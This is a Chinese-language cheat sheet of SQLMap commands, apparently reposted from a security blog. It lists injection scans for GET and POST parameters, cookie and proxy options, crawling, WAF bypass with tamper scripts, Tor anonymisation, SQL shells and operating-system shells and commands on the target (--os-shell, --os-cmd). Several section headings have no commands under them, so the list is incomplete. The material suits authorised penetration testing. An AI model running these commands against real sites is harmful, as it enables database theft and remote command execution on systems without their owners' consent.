其他
一些重要的SQLMap命令
前言
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
GET请求
sqlmap -u http://site-to-test.com/test.php?id=1 -p id sqlmap -u http://site-to-test.com/test.php?id=1* -u:要扫描的URL -p:要扫描的字段 *:要扫描的字段(如果不用-p来指定的话)
POST请求
sqlmap -u http://site-to-test.com/admin/index.php –data=”user=admin&password=admin” -p user –data=POST数据
sqlmap –r 请求文件的路径
扫描POST登录页面
sqlmap -u http://192.168.202.163/admin/index.php?id=1 –cookie=”cookie value“
sqlmap -u http://192.168.202.163/admin/index.php?id=1 –user-agent=infosec sqlmap -u http://192.168.202.163/admin/index.php?id=1 –referer= http://192.168.202.163/admin/index.php
爬取
sqlmap -u http://192.168.202.163/ –crawl=3 –cookie=”cookie value” –crawl-exclude=”logout”
通过代理使用SQLMap
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –proxy=”http://localhost:8080″
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –proxy=”http://localhost:8080″ –proxy-cred=username:password
批(量)处理
表单
线程
危险和级别(Risk and level)
详细信息
数据库枚举
用tamper脚本绕过WAF
–identify-waf (译者注:新版本中已移除)
执行系统命令
对于Linux目标服务器: sqlmap -u http://192.168.202.162/cat.php?id=1 –os-shell 对于Windows目标服务器: sqlmap -u http://192.168.202.162/cat.php?id=1 –os-cmd cmd命令
执行SQL查询
sqlmap -u 192.168.202.164/cat.php?id=2 –sql-shell
其他选项
sqlmap -u http://example.com/admin.aspx –auth-type Basic –auth-cred “admin:admin”
sqlmap -u http://example.com/admin.aspx –auth-file=PEM证书或私钥文件路径
sqlmap -u http://example.com/admin.aspx –tor
sqlmap -u http://example.com/admin.aspx –tor-port=tor代理端口
sqlmap -u http://example.com/admin.aspx –delay=1 #延时1秒
sqlmap -u http://example.com/admin.aspx –csrf-token=csrf token
sqlmap -r /root/Desktop/Burp.txt –second-order “http://target/vulnerbalepage.php”
–second-order “URL” 指定的是每次注入后SQLMap去访问的URL。
总结
文章转自https://blog.cracker101.com/
侵权请私聊公众号删文
热文推荐